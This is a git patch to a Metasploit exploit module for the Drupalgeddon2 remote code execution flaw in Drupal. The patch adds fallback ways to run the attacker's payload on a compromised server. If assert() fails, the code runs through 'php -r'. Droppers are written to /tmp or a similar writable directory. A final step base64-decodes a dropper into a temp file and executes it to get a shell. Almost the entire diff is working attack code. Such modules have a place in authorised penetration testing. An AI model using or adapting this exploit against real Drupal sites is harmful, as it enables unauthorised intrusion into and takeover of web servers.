From 8bc1417c8c4964e09283a34e4a9207f1087f18a8 Mon Sep 17 00:00:00 2001 From: William Vu Date: Tue, 24 Apr 2018 21:39:52 -0500 Subject: [PATCH] Use PHP_FUNC as a fallback in case assert() fails Additionally drop a file in a writable directory in case CWD fails. --- .../unix/webapp/drupal_drupalgeddon2.md | 3 +- .../unix/webapp/drupal_drupalgeddon2.rb | 54 ++++++++++++------- 2 files changed, 37 insertions(+), 20 deletions(-) diff --git a/documentation/modules/exploit/unix/webapp/drupal_drupalgeddon2.md b/documentation/modules/exploit/unix/webapp/drupal_drupalgeddon2.md index bf08707347..0e3e5bc1a2 100644 --- a/documentation/modules/exploit/unix/webapp/drupal_drupalgeddon2.md +++ b/documentation/modules/exploit/unix/webapp/drupal_drupalgeddon2.md @@ -66,7 +66,8 @@ Defaults to `false`, meaning the check result is respected. **WritableDir** Set this to a writable directory without `noexec` for binary payloads. -Defaults to the current working directory (usually the webapp root). +Defaults to `/tmp`, but other options may include `/var/tmp` and +`/dev/shm`. ## Usage diff --git a/modules/exploits/unix/webapp/drupal_drupalgeddon2.rb b/modules/exploits/unix/webapp/drupal_drupalgeddon2.rb index 3eb31da518..9dfbc17eb0 100644 --- a/modules/exploits/unix/webapp/drupal_drupalgeddon2.rb +++ b/modules/exploits/unix/webapp/drupal_drupalgeddon2.rb @@ -113,7 +113,8 @@ class MetasploitModule < Msf::Exploit::Remote 'Version' => Gem::Version.new('8.x') ] ], - 'DefaultTarget' => 0 # Automatic (PHP In-Memory) + 'DefaultTarget' => 0, # Automatic (PHP In-Memory) + 'DefaultOptions' => {'WfsDelay' => 2} )) register_options([ @@ -124,7 +125,7 @@ class MetasploitModule < Msf::Exploit::Remote register_advanced_options([ OptBool.new('ForceExploit', [false, 'Override check result', false]), - OptString.new('WritableDir', [false, 'Writable dir for dropped binaries']) + OptString.new('WritableDir', [true, 'Writable dir for droppers', '/tmp']) ]) end @@ -160,25 +161,25 @@ class MetasploitModule < Msf::Exploit::Remote datastore['DUMP_OUTPUT'] = true end + # NOTE: assert() is attempted first, then PHP_FUNC if that fails case target.name when /PHP In-Memory/ - case @version.to_s - when '7.x' - # In-process execution when assert() is enabled - execute_command(payload.encoded, func: 'assert') - when '8.x' - # XXX: This will spawn a *very* obvious process - execute_command("php -r '#{payload.encoded}'") - end + execute_command(payload.encoded, func: 'assert') + + sleep(wfs_delay) + return if session_created? + + # XXX: This will spawn a *very* obvious process + execute_command("php -r '#{payload.encoded}'") when /Unix In-Memory/ execute_command(payload.encoded) when /PHP Dropper/, /Linux Dropper/ - case @version.to_s - when '7.x' - execute_dropper7 - when '8.x' - execute_dropper8 - end + dropper_assert + + sleep(wfs_delay) + return if session_created? + + dropper_exec end end @@ -192,8 +193,10 @@ class MetasploitModule < Msf::Exploit::Remote super end - def execute_dropper7 - php_file = "#{random_crap}.php" + def dropper_assert + php_file = Pathname.new( + "#{datastore['WritableDir']}/#{random_crap}.php" + ).cleanpath # Return the PHP payload or a PHP binary dropper dropper = get_write_exec_payload( @@ -222,8 +225,11 @@ class MetasploitModule < Msf::Exploit::Remote execute_command(stage2.strip, func: 'assert') end - def execute_dropper8 + def dropper_exec php_file = "#{random_crap}.php" + tmp_file = Pathname.new( + "#{datastore['WritableDir']}/#{php_file}" + ).cleanpath # Return the PHP payload or a PHP binary dropper dropper = get_write_exec_payload( @@ -247,10 +253,20 @@ class MetasploitModule < Msf::Exploit::Remote 'uri' => normalize_uri(target_uri.path, php_file) ) + sleep(wfs_delay) return if session_created? # Last-ditch effort to get a shell with PHP CLI execute_command("php #{php_file}") + + sleep(wfs_delay) + return if session_created? + + register_file_for_cleanup(tmp_file) + + # Fall back on our temp file + execute_command("echo #{dropper} | base64 -d | tee #{tmp_file}") + execute_command("php #{tmp_file}") end def execute_command(cmd, opts = {})